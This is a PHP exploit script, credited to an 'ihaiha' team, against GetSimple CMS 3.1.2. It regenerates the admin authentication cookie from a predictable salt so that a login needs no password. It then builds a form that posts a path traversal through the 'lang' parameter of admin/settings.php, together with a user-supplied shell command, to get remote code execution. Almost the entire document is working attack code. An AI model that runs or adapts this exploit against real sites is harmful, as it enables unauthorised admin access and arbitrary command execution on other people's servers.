ihaihac0de-v3

<?php
    // --------------------------------
    // iHaiHa-vs-hosting2rce.php
    // --------------------------------
    // 26.12.2o12
    //
    // Specjal thanks to ihaiha team for
    // 'point of view'.
    //


// cookie() grepped from GetSimple 3.1.2, THANKS! ;]
// just for 'knowing the cookie'.
function create_cookie() {
    global $USR,$SALT,$cookie_time,$cookie_name;
    $saltUSR = $USR.$SALT;
    $saltCOOKIE = sha1($cookie_name.$SALT);
    setcookie($saltCOOKIE, sha1($saltUSR), time() + $cookie_time,'/');
    setcookie('GS_ADMIN_USERNAME', $USR, time() + $cookie_time,'/');
}


// get-IT-simple-ihaiha-kod-yeah
function getsimple_cookie(){

    // potrzebujemy:
    $authenticated = true;
    $USR = 'admin'; //$_POST['userid']; // admin?
    $ver_no_clean = '3.1.2';
    $SITEURL = '/your/GetSimple_3.1.2/admin/settings.php'; //$_POST['siteurl'];
    $SALT = sha1($SITEURL);
    $cookie_time = '7200';

    $site_full_name = 'GetSimple';
    $name_url_clean = strtolower(str_replace(' ','-',$site_full_name));
    $cookie_name = strtolower($name_url_clean) .'_cookie_'. $ver_no_clean;

    echo 'It should be interesting that we can (re)generate valid cookie<br>';
    echo 'and login without password, right? <br><br><b>Generated cookie:  ';
    echo $cookie_name . '<br></b>';
    echo '<br>Anyway: this simple code exploits vulnerability in :<br>';
    echo '<b>admin/settings.php</b>:';


    if( $authenticated ) {
                # YES - set the login cookie, then redirect user to secure panel
//              create_cookie();
        setcookie('GS_ADMIN_USERNAME', $USR, time() + 3600,'/');

        echo '<form method="post" action="'. $SITEURL .'">';
        echo '<input type="hidden" name="username" value="' . $USR . '">';
        echo '<input type="hidden" name="pwd" value="ihaihaiha">'; // sample; as a hardcoded (wrong anyway) pass
        echo '<input type="hidden" name="lang" value="en_US/../../../../../../../../../../tmp/&cmd='.$_POST['cmd'].'">';
        echo '<br>So add come cmd: <br>';
        echo 'cmd: <input type="text" name="cmd">';
        echo '<input type="submit" value="teraz">';
    } else {
        echo 'Nope. :C';
    }



} // end of getsimple_cookie()

getsimple_cookie();